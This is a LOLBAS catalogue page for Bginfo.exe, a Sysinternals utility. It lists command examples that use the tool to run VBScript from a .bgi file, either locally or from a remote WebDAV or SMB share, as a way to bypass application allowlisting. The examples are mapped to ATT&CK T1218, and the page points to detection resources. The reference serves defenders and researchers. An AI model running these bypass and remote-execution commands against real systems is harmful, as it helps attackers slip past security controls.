LOLBAS. GitHub
LIVING OFF THE LAND / OTHER MICROSOFT BINARIES

Bginfo.exe

View source

Background Information Utility included with SysInternals Suite

ExecuteAWL Bypass
06COMMAND EXAMPLES
01ATT&CK TECHNIQUES
04DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

6 examples

Execute3

EXAMPLE 01T1218

Execute VBscript code that is referenced within the specified .bgi file.

COMMAND
bginfo.exe {PATH:.bgi} /popup /nolicprompt
USE CASE
Local execution of VBScript
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · WSH
EXAMPLE 02T1218

Execute bginfo.exe from a WebDAV server.

COMMAND
\\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt
USE CASE
Remote execution of VBScript
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · WSH
EXAMPLE 03T1218

This style of execution may not longer work due to patch.

COMMAND
\\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt
USE CASE
Remote execution of VBScript
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · WSHExecute · Remote

AWL Bypass3

EXAMPLE 01T1218

Execute VBscript code that is referenced within the specified .bgi file.

COMMAND
bginfo.exe {PATH:.bgi} /popup /nolicprompt
USE CASE
Local execution of VBScript
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · WSH
EXAMPLE 02T1218

Execute bginfo.exe from a WebDAV server.

COMMAND
\\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt
USE CASE
Remote execution of VBScript
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · WSH
EXAMPLE 03T1218

This style of execution may not longer work due to patch.

COMMAND
\\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt
USE CASE
Remote execution of VBScript
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · WSHExecute · Remote
02 / ON DISK

Known paths

no default
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

4 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Oddvar Moe@oddvarmoe